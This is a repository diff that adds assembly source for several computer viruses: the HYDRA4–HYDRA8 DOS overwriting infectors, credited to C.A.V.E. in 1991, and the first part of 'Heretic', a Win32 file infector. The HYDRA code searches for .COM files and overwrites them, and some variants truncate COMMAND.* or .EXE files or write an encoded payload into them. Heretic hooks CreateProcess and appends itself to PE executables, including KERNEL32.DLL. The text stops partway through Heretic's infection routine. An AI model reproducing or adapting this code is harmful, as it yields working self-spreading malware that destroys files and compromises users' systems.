AW +; Copyright (c) +; +; + +psp_cmd_size equ 80h +data_11e equ 100h +data_12e equ 154h +data_13e equ 157h +data_14e equ 232h +data_15e equ 254h + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +hydra4 proc far + +start: + jmp loc_1 + pop cx + inc sp + add [bx+si],al +data_3 db 'HyDra-4 Beta - Not For Release' + db '. *.CO?' + db 0 +data_6 dw 0, 8B39h +data_8 dw 0 +data_9 db 0 + db 29 dup (0) +data_10 db 0 + db 13 dup (0) +copyright db 'Copyright (c)' + db ' 1991 by C.A.V.E. ' +loc_1: + push ax + mov ax,cs + add ax,1000h + xor di,di ; Zero register + mov cx,154h + mov si,100h + mov es,ax + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ah,1Ah + mov dx,offset data_9 + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + mov ah,4Eh ; 'N' + mov dx,offset data_3+22h ; ('*') + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_5 ; Jump if carry Set +loc_2: + mov ah,3Dh ; '=' + mov al,2 + mov dx,offset data_10 + mov al,2 + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + push es + pop ds + mov ax,3F00h + mov cx,0FFFFh + mov dx,data_12e + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + add ax,154h + mov cs:data_8,ax + cmp word ptr ds:data_13e,4459h + jne loc_3 ; Jump if not equal + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + push cs + pop ds + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jc loc_6 ; Jump if carry Set + jmp short loc_2 +loc_3: + xor cx,cx ; Zero register + mov dx,cx + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_4 ; Jump if carry Set + mov ah,40h ; '@' + xor dx,dx ; Zero register + mov cx,cs:data_8 + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_4: + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + push cs + pop ds +loc_5: + mov ah,1Ah + mov dx,psp_cmd_size + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + jmp short loc_7 + nop +loc_6: + push dx + mov ax,3540h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov dx,bx + push es + pop ds + mov ax,2513h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,0 + int 21h ; DOS Services ah=function 00h + ; terminate, cs=progm seg prefx +loc_7: + xor di,di ; Zero register + mov si,data_14e + mov cx,22h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop bx + mov cs:data_6,0 + mov word ptr cs:data_6+2,es + pop bx + jmp dword ptr cs:data_6 + push ds + pop es + mov cx,0FFFFh + mov si,data_15e + mov di,data_11e + sub cx,si + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov word ptr cs:[100h],100h + mov word ptr cs:[102h],ds + mov ax,bx + jmp dword ptr cs:[100h] + int 20h ; DOS program terminate + +hydra4 endp + +seg_a ends + + + + end start diff --git a/h/HYDRA5.ASM b/h/HYDRA5.ASM new file mode 100755 index 0000000..8bd5a8e --- /dev/null +++ b/h/HYDRA5.ASM @@ -0,0 +1,189 @@ + +PAGE 59,132 + +; +; +; HYDRA5 +; +; Created: 21-Aug-91 +; Passes: 5 Analysis Options on: AW +; Copyright (c) +; +; + +data_1e equ 23Eh +psp_cmd_size equ 80h +data_17e equ 187h +data_18e equ 18Ah + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +hydra5 proc far + +start: + jmp loc_1 + pop cx + inc sp + add [bx+si],al +data_4 db 'HyDra-5 Beta - Not For Release' + db '. *.CO?' + db 0 +data_7 dw 0, 8B39h +data_9 dw 0 +data_10 db 0 + db 29 dup (0) +data_11 db 0 + db 13 dup (0) +copyright db 'Copyright (c)' + db ' 1991 by C.A.V.E. ' +loc_1: + push ax + mov ax,cs + add ax,1000h + xor di,di ; Zero register + mov cx,187h + mov si,100h + mov es,ax + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ah,1Ah + mov dx,offset data_10 + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + mov ah,4Eh ; 'N' + mov dx,offset data_4+22h ; ('*') + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_5 ; Jump if carry Set +loc_2: + mov ah,3Dh ; '=' + mov al,2 + mov dx,offset data_11 + mov al,2 + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + push es + pop ds + mov ax,3F00h + mov cx,0FFFFh + mov dx,data_17e + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + add ax,187h + mov cs:data_9,ax + cmp word ptr ds:data_18e,4459h + jne loc_3 ; Jump if not equal + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + push cs + pop ds + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match +;* jc loc_6 ; Jump if carry Set + db 72h, 54h + jmp short loc_2 +loc_3: + xor cx,cx ; Zero register + mov dx,cx + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_4 ; Jump if carry Set + mov ah,40h ; '@' + xor dx,dx ; Zero register + mov cx,cs:data_9 + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_4: + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + push cs + pop ds +loc_5: + mov ah,1Ah + mov dx,psp_cmd_size + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + jmp short loc_7 + nop + inc word ptr [bx+si] + add [bx+si],al + add [bx+si],al + pop ds + add [bx],bh + aas ; Ascii adjust + aas ; Ascii adjust + aas ; Ascii adjust + aas ; Ascii adjust + aas ; Ascii adjust + aas ; Ascii adjust + aas ; Ascii adjust + inc bp + pop ax + inc bp + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add ds:data_1e[bx+si],bh + push ax + push cs + pushf ; Push flags + mov cl,13h + mov dx,201h + push cs + pop ds + jmp dword ptr data_14 + mov ah,4Ch ; 'L' + int 21h ; DOS Services ah=function 4Ch + ; terminate with al=return code +data_14 dd 000C0h + db 0CDh, 20h +loc_7: + xor di,di ; Zero register + mov si,265h + mov cx,22h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop bx + mov cs:data_7,0 + mov word ptr cs:data_7+2,es + pop bx + jmp dword ptr cs:data_7 + push ds + pop es + mov cx,0FFFFh + mov si,287h + mov di,100h + sub cx,si + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov word ptr cs:[100h],100h + mov word ptr cs:[102h],ds + mov ax,bx + jmp dword ptr cs:[100h] + int 20h ; DOS program terminate + +hydra5 endp + +seg_a ends + + + + end start diff --git a/h/HYDRA6.ASM b/h/HYDRA6.ASM new file mode 100755 index 0000000..a3e942a --- /dev/null +++ b/h/HYDRA6.ASM @@ -0,0 +1,174 @@ + +PAGE 59,132 + +; +; +; HYDRA6 +; +; Created: 27-Aug-91 +; Passes: 5 Analysis Options on: AW +; Copyright (c) +; +; + +psp_cmd_size equ 80h +data_14e equ 174h +data_15e equ 177h + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +hydra6 proc far + +start: + jmp loc_1 + pop cx + inc sp + add [bx+si],al +data_3 db 'HyDra-6 Beta - Not For Release' + db '. *.CO?' + db 0 +data_6 dw 0, 8B39h +data_8 dw 0 +data_9 db 0 + db 29 dup (0) +data_10 db 0 + db 13 dup (0) +copyright db 'Copyright (c)' + db ' 1991 by C.A.V.E. ' +data_11 db 'COMMAND.*', 0 +loc_1: + push ax + mov ax,cs + add ax,1000h + xor di,di ; Zero register + mov cx,174h + mov si,100h + mov es,ax + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ah,1Ah + mov dx,offset data_9 + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + mov ah,4Eh ; 'N' + mov dx,offset data_3+22h ; ('*') + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_5 ; Jump if carry Set +loc_2: + mov ah,3Dh ; '=' + mov al,2 + mov dx,offset data_10 + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + push es + pop ds + mov ax,3F00h + mov cx,0FFFFh + mov dx,data_14e + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + add ax,174h + mov cs:data_8,ax + cmp word ptr ds:data_15e,4459h + jne loc_3 ; Jump if not equal + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + push cs + pop ds + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jc loc_6 ; Jump if carry Set + jmp short loc_2 +loc_3: + xor cx,cx ; Zero register + mov dx,cx + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_4 ; Jump if carry Set + mov ah,40h ; '@' + xor dx,dx ; Zero register + mov cx,cs:data_8 + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_4: + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + push cs + pop ds +loc_5: + mov ah,1Ah + mov dx,psp_cmd_size + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + jmp short loc_8 + nop +loc_6: + mov ah,1Ah + mov dx,offset data_9 + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + push dx + mov dx,offset data_11 ; ('COMMAND.*') + mov ah,4Eh ; 'N' + xor cx,cx ; Zero register + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_5 ; Jump if carry Set +loc_7: + mov ah,3Ch ; '<' + xor cx,cx ; Zero register + mov dx,offset data_10 + int 21h ; DOS Services ah=function 3Ch + ; create/truncate file @ ds:dx + mov bx,ax + jc loc_5 ; Jump if carry Set + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + jc loc_5 ; Jump if carry Set + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jnc loc_7 ; Jump if carry=0 +loc_8: + xor di,di ; Zero register + mov si,252h + mov cx,22h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop bx + mov cs:data_6,0 + mov word ptr cs:data_6+2,es + pop bx + jmp dword ptr cs:data_6 + push ds + pop es + mov cx,0FFFFh + mov si,274h + mov di,100h + sub cx,si + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov word ptr cs:[100h],100h + mov word ptr cs:[102h],ds + mov ax,bx + jmp dword ptr cs:[100h] + int 20h ; DOS program terminate + +hydra6 endp + +seg_a ends + + + + end start diff --git a/h/HYDRA7.ASM b/h/HYDRA7.ASM new file mode 100755 index 0000000..f012bf9 --- /dev/null +++ b/h/HYDRA7.ASM @@ -0,0 +1,175 @@ + +PAGE 59,132 + +; +; +; HYDRA7 +; +; Created: 27-Aug-91 +; Passes: 5 Analysis Options on: AW +; Copyright (c) +; +; + +psp_cmd_size equ 80h +data_16e equ 170h +data_17e equ 173h + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +hydra7 proc far + +start: + jmp loc_1 + pop cx + inc sp + add [bx+si],al +data_4 db 'HyDra-7 Beta - Not For Release' + db '. *.CO?' + db 0 +data_7 dw 0, 8B39h +data_9 dw 0 +data_10 db 0 + db 29 dup (0) +data_11 db 0 + db 13 dup (0) +copyright db 'Copyright (c)' + db ' 1991 by C.A.V.E. ' +data_12 db 2Ah + db 2Eh, 45h, 58h, 45h, 00h +loc_1: + push ax + mov ax,cs + add ax,1000h + xor di,di ; Zero register + mov cx,170h + mov si,100h + mov es,ax + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ah,1Ah + mov dx,offset data_10 + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + mov ah,4Eh ; 'N' + mov dx,offset data_4+22h ; ('*') + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_5 ; Jump if carry Set +loc_2: + mov ah,3Dh ; '=' + mov al,2 + mov dx,offset data_11 + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + push es + pop ds + mov ax,3F00h + mov cx,0FFFFh + mov dx,data_16e + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + add ax,170h + mov cs:data_9,ax + cmp word ptr ds:data_17e,4459h + jne loc_3 ; Jump if not equal + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + push cs + pop ds + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jc loc_6 ; Jump if carry Set + jmp short loc_2 +loc_3: + xor cx,cx ; Zero register + mov dx,cx + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_4 ; Jump if carry Set + mov ah,40h ; '@' + xor dx,dx ; Zero register + mov cx,cs:data_9 + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_4: + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + push cs + pop ds +loc_5: + mov ah,1Ah + mov dx,psp_cmd_size + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + jmp short loc_8 + nop +loc_6: + mov ah,1Ah + mov dx,offset data_10 + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + push dx + mov dx,offset data_12 + mov ah,4Eh ; 'N' + xor cx,cx ; Zero register + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_5 ; Jump if carry Set +loc_7: + mov ah,3Ch ; '<' + xor cx,cx ; Zero register + mov dx,offset data_11 + int 21h ; DOS Services ah=function 3Ch + ; create/truncate file @ ds:dx + mov bx,ax + jc loc_5 ; Jump if carry Set + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + jc loc_5 ; Jump if carry Set + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jnc loc_7 ; Jump if carry=0 +loc_8: + xor di,di ; Zero register + mov si,24Eh + mov cx,22h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop bx + mov cs:data_7,0 + mov word ptr cs:data_7+2,es + pop bx + jmp dword ptr cs:data_7 + push ds + pop es + mov cx,0FFFFh + mov si,270h + mov di,100h + sub cx,si + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov word ptr cs:[100h],100h + mov word ptr cs:[102h],ds + mov ax,bx + jmp dword ptr cs:[100h] + int 20h ; DOS program terminate + +hydra7 endp + +seg_a ends + + + + end start diff --git a/h/HYDRA8.ASM b/h/HYDRA8.ASM new file mode 100755 index 0000000..edce3fa --- /dev/null +++ b/h/HYDRA8.ASM @@ -0,0 +1,220 @@ + +PAGE 59,132 + +; +; +; HYDRA8 +; +; Created: 28-Aug-91 +; Passes: 5 Analysis Options on: W +; Copyright (c) +; +; + +psp_cmd_size equ 80h +data_17e equ 1EFh +data_18e equ 1F2h +data_19e equ 9D9Ah + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +hydra8 proc far + +start: + jmp loc_3 + db 59h, 44h, 00h, 00h +data_3 db 'HyDra-8 Beta - Not For Release' + db '. *.CO?' + db 0 +data_6 dw 0, 8B39h +data_8 dw 0 +data_9 db 0 + db 18 dup (0) +data_10 db 0 + db 10 dup (0) +data_11 db 0 + db 0, 0, 0, 0, 0, 0 +data_12 db 0 + db 0, 0, 0, 0, 0, 0 +copyright db 'Copyright (c)' + db ' 1991 by C.A.V.E. ' +data_13 db 2Ah + db 2Eh, 45h, 58h, 45h, 00h +data_14 db 33h + db 0C9h, 1Eh, 52h,0E8h, 06h, 00h + db 0E8h, 13h, 00h,0EBh, 36h, 90h + db 0BEh, 48h, 01h + db 0BFh, 5Ah, 01h,0B9h, 12h, 00h + +locloop_1: + xor byte ptr [si],0F5h + movsb ; Mov [si] to es:[di] + loop locloop_1 ; Loop if cx > 0 + + retn + db 0B8h, 00h, 0Fh,0CDh, 10h,0B4h + db 00h,0CDh, 10h,0B8h, 00h, 02h + db 0B6h, 0Ch,0B2h, 1Fh,0CDh, 10h + db 33h,0D2h + db 0BAh, 5Ah, 01h,0B4h, 09h,0CDh + db 21h,0B8h, 00h, 02h,0B6h, 18h + db 0B2h, 00h,0CDh, 10h,0C3h + db 0B8h, 00h, 4Ch,0CDh, 21h, 00h + db 0A2h, 9Dh, 9Ah,0F5h, 9Ch, 86h + db 0F5h + db 0BFh, 9Ah, 9Dh, 9Bh,0F5h,0B2h + db 94h, 99h, 81h,0CAh,0D1h +loc_3: + push ax + mov ax,cs + add ax,1000h + xor di,di ; Zero register + mov cx,1EFh + mov si,100h + mov es,ax + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ah,1Ah + mov dx,offset data_9 + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + mov ah,4Eh ; 'N' + mov dx,offset data_3+22h ; ('*') + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_7 ; Jump if carry Set +loc_4: + mov ah,3Dh ; '=' + mov al,2 + mov dx,offset data_11 + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + push es + pop ds + mov ax,3F00h + mov cx,0FFFFh + mov dx,data_17e + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + add ax,1EFh + mov cs:data_8,ax + cmp word ptr ds:data_18e,4459h + jne loc_5 ; Jump if not equal + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + push cs + pop ds + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jc loc_8 ; Jump if carry Set + jmp short loc_4 +loc_5: + xor cx,cx ; Zero register + mov dx,cx + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_6 ; Jump if carry Set + mov ah,40h ; '@' + xor dx,dx ; Zero register + mov cx,cs:data_8 + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_6: + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + push cs + pop ds +loc_7: + mov ah,1Ah + mov dx,psp_cmd_size + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + jmp short loc_11 + db 90h +loc_8: + clc ; Clear carry flag + xor cx,cx ; Zero register + push ds + push dx + mov ah,1Ah + mov dx,offset data_9 + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + mov dx,offset data_13 + mov ah,4Eh ; 'N' + xor cx,cx ; Zero register + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_7 ; Jump if carry Set +loc_9: + mov ah,3Ch ; '<' + xor cx,cx ; Zero register + mov dx,offset data_11 + int 21h ; DOS Services ah=function 3Ch + ; create/truncate file @ ds:dx + mov bx,ax + jc loc_7 ; Jump if carry Set + mov ax,3D02h + mov dx,offset data_11 + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + clc ; Clear carry flag + xor dx,dx ; Zero register + mov ah,40h ; '@' + mov dx,offset data_14 + mov cx,5Ah + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + cmp ax,5Ah + jb loc_10 ; Jump if below + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + jc loc_10 ; Jump if carry Set + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jnc loc_9 ; Jump if carry=0 +loc_10: + mov ax,4C00h + int 21h ; DOS Services ah=function 4Ch + ; terminate with al=return code +loc_11: + xor di,di ; Zero register + mov si,offset data_15 + mov cx,22h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop bx + mov cs:data_6,0 + mov word ptr cs:data_6+2,es + pop bx + jmp dword ptr cs:data_6 +data_15 db 1Eh + db 07h,0B9h,0FFh,0FFh,0BEh,0EFh + db 02h,0BFh, 00h, 01h, 2Bh,0CEh + db 0F3h,0A4h, 2Eh,0C7h, 06h, 00h + db 01h, 00h, 01h, 2Eh, 8Ch, 1Eh + db 02h, 01h, 8Bh,0C3h, 2Eh,0FFh + db 2Eh, 00h, 01h,0CDh + db 20h + +hydra8 endp + +seg_a ends + + + + end start diff --git a/h/heretic.asm b/h/heretic.asm new file mode 100755 index 0000000..9a8547f --- /dev/null +++ b/h/heretic.asm @@ -0,0 +1,882 @@ +; +; SYNOPSIS +; +; Heretic - A Microsoft Windows 32 virus +; +; AUTHOR +; +; Memory Lapse, [NOP] +; formerly of Phalcon/Skism +; +; ABSTRACT +; +; This virus works under all beta versions of Windows 9x, and Windows NT 4.0. +; Under a Win32s environment, the virus will fail since the kernel doesn't +; physically export any useable API. Parsing the import table of the host image +; for GetProcAddress and GetModuleHandle should do the trick. +; +; NOTES +; +; Finally after seven months (including a four month hiatus for university), +; I've finally finished this virus. +; +; Ideally when the kernel is infected, the object the virus extends +; (typically .reloc) should have its flags with IMAGE_SCN_MEM_WRITE turned off. +; This will prevent in-memory patching by antivirus software. Heretic does +; not do this. At least not yet. +; +; Useful reading material: Microsoft Platform, SDK, and DDK Documentation +; +; Greets to priest, h8, lookout, virogen and johnny panic. +; + +.386 +locals +.model flat, stdcall +.code +.radix 16 + +include heretic.inc + +CRC_POLY equ 0EDB88320 +CRC_INIT equ 0FFFFFFFF + +crc macro string + crcReg = CRC_INIT + irpc _x, + ctrlByte = '&_x&' xor (crcReg and 0ff) + crcReg = crcReg shr 8 + rept 8 + ctrlByte = (ctrlByte shr 1) xor (CRC_POLY * (ctrlByte and 1)) + endm + crcReg = crcReg xor ctrlByte + endm + dd crcReg +endm + +MARKER equ "DOS lives somewhere in time" + +org 0 + +start: push L offset host - start ;location of old entry point +ddOldEntryPoint = dword ptr $ - 4 + + pushfd ;save state + pushad + + call @@delta +@@delta:pop ebp + sub ebp,offset @@delta - start + ;thanks vg! + db 81,0edh ;sub ebp,unsignedlong +ddEntryPoint dd 0 + add [esp+24],ebp ;return address of host + + mov edi,[esp+28] ;get a "random" pointer from stack + and edi,0FFFF0000 ;mask off bottom word + + call try +catch: mov esp,[esp+8] ;get pointer to our stack-based + ; exception record + jmp finally ;and return to host + +try: push dword ptr fs:[0] ;this is our try { } block + mov fs:[0],esp ;create stack-based exception record + + .repeat + dec edi ;move back a byte + lea eax,[edi-MAGIC] ;thanks h8! + + cmp [edi],eax ;match? then we've found the kernel + .until zero? + + mov esi,[eax+exe_str.pe_offset] + add esi,eax ;traverse PE header and find + ; Export Data Directory Table + mov ebp,[esi+pe_str.export_tbl] + add ebp,eax ;RVA -> absolute + + push eax + push [ebp+edt_str.edt_ord_base] + + mov ebx,[ebp+edt_str.edt_ord_rva] + mov edi,[ebp+edt_str.edt_name_rva] + mov ebp,[ebp+edt_str.edt_addr_rva] + + add ebx,eax ;adjust ordinal table pointer + add edi,eax ;adjust name pointer table pointer + add ebp,eax ;adjust address pointer table pointer + + push ebp ;we save these values onto the stack + push eax ; so we can free up registers + + call @@delta +@@delta:pop ebp + sub ebp,offset @@delta + + push ebp + +; on entry: +; [esp] : delta offset +; [esp+4] : image base +; [esp+8] : address pointer table +; [esp+0c] : ordinal base +; ebx - ordinal table +; esi - pointer to our list of apis +; edi - name pointer table + lea esi,[ebp+name_ptr_api] + mov ecx,1 + mov edx,(name_ptr_api_end - name_ptr_api) / 4 + +top: push edx + push esi + + mov esi,[edi] ;calculate absolute offset of + add esi,[esp+0c] ; name pointer (image base) + + mov edx,CRC_INIT + +lup: lodsb + + or al,al ;termination token? then quit + jz chkCRC + + xor dl,al + mov al,8 + + .repeat ;perform CRC-32 on string + shr edx,1 ;thanks jp! + .if carry? + xor edx,CRC_POLY + .endif + dec al + .until zero? + jmp lup + +chkCRC: pop esi + push edi + + mov ebp,ecx + shl ebp,1 ;convert count into word index + + movzx eax,word ptr [ebx+ebp] ;calculate ordinal index + sub eax,[esp+14] ;relative to ordinal base + shl eax,2 ;convert ordinal into dword index + + mov ebp,eax + mov edi,[esp+10] + + add eax,edi ;calculate offset + mov edi,[edi+ebp] ;RVA of API (dereference said offset) + add edi,[esp+0c] ;convert to absolute offset + + mov ebp,[esp+8] + + cmp edx,CRC_POLY ;CreateProcessA? + org $ - 4 + crc + .if zero? + mov [ebp+lpCreateProcessA],eax ;hook it + mov [ebp+CreateProcessA],edi + .endif + cmp edx,CRC_POLY ;or CreateProcessW? + org $ - 4 + crc + .if zero? + mov [ebp+lpCreateProcessW],eax ;hook it + mov [ebp+CreateProcessW],edi + .endif + cmp edx,[esi] ;or an API the virus uses? + .if zero? + mov [esi+(name_ptr_api_end - name_ptr_api)],edi + lodsd ;update pointer + dec dword ptr [esp+4] ;decrement our API count + .endif + pop edi + +next: pop edx + add edi,4 ;next API + inc ecx ;remember displacement + + or edx,edx ;no more names to parse? + jnz top + + pop ebp ;restore delta offset + add esp,0c ;clear stack + + call [ebp+GlobalAlloc], \ ;allocate memory for global structure + GMEM_FIXED, \ + L size vir_str + + mov edi,eax + pop [edi+vir_str.lpKernelBase] + + call kernel ;attempt to infect the kernel + + call [ebp+GlobalFree], \ ;release global structure resources + edi + +finally:pop dword ptr fs:[0] ;this is our finally { } block + pop eax ;trash exception handler address + ;low and behold, the stack is restored + popad + popfd + + ret + + db '[nop] 4 life.. lapse, vg and jp own you! :)' + +infect: mov [edi+vir_str.ddError],TRUE ;assume an error occurred + + call [ebp+GetFileAttributesA], \ + [edi+vir_str.lpFileName] + + mov [edi+vir_str.ddFilterAttributes],eax + inc eax + jz exit + + call [ebp+SetFileAttributesA], \ ;strip file attributes + [edi+vir_str.lpFileName], \ + FILE_ATTRIBUTE_NORMAL + + or eax,eax ;error? possibly a r/o disk? + jz exit + + call [ebp+CreateFileA], \ + [edi+vir_str.lpFileName], \ + GENERIC_READ or GENERIC_WRITE, \ + FILE_SHARE_NOTSHARED, \ + NULL, \ + OPEN_EXISTING, \ + FILE_ATTRIBUTE_NORMAL, \ + NULL + + mov [edi+vir_str.hFile],eax ;if we don't get a valid file + inc eax ;descriptor (ie. an invalid handle), + jz exitChmod ;quit processing + + lea eax,[edi+vir_str.ddLastWriteTime] + lea ecx,[edi+vir_str.ddLastAccessTime] + lea edx,[edi+vir_str.ddCreationTime] + call [ebp+GetFileTime], \ ;save file timestamps + [edi+vir_str.hFile], \ + edx, \ + ecx, \ + eax + + call [ebp+CreateFileMappingA], \ ;create a mmap object + [edi+vir_str.hFile], \ + NULL, \ + + PAGE_READONLY, \ + L 0, \ + L 0, \ + NULL + + or eax,eax + jz exitTime + + mov [edi+vir_str.hFileMappingObject],eax + + call [ebp+MapViewOfFile], \ ;view the file in our address space + [edi+vir_str.hFileMappingObject], \ + FILE_MAP_READ, \ + L 0, \ + L 0, \ + L 0 + + or eax,eax + jz exitCloseMap + + mov [edi+lpBaseAddress],eax + + cmp word ptr [eax],IMAGE_DOS_SIGNATURE + jnz exitUnmap ;some sort of executable? + + mov esi,eax + add esi,[eax+exe_str.pe_offset] ;seek to NT header + + push eax + call [ebp+IsBadCodePtr], \ ;can we read the memory at least? + esi ;potentially not a Windows file? + + or eax,eax + pop eax + jnz exitUnmap + + cmp dword ptr [esi],IMAGE_NT_SIGNATURE + jnz exitUnmap ;PE file? + + cmp [esi+pe_str.timestamp],CRC_POLY + org $ - 4 + crc MARKER + jz exitUnmap + + lea eax,[ebp+infectKernel] + + cmp [edi+vir_str.lpInfectMethod],eax;attempting to infect KERNEL32.DLL? + .if !zero? + test [esi+pe_str.flags],IMAGE_FILE_DLL + jnz exitUnmap ;and not a runtime library? + .endif + call getLastObjectTable + + mov eax,[ebx+obj_str.obj_psize] + add eax,[ebx+obj_str.obj_poffset] + + add eax,(_end - start) ;calculate maximum infected file size + mov ecx,[esi+pe_str.align_file] + call align + + mov [edi+vir_str.ddFileSizeInfected],eax + + call [ebp+UnmapViewOfFile], \ + [edi+vir_str.lpBaseAddress] + + call [ebp+CloseHandle], \ + [edi+vir_str.hFileMappingObject] + + call [ebp+CreateFileMappingA], \ ;reopen and extend mmap file + [edi+vir_str.hFile], \ + NULL, \ + PAGE_READWRITE, \ + L 0, \ + [edi+vir_str.ddFileSizeInfected], \ + NULL + + mov [edi+vir_str.hFileMappingObject],eax + + call [ebp+MapViewOfFile], \ + [edi+vir_str.hFileMappingObject], \ + 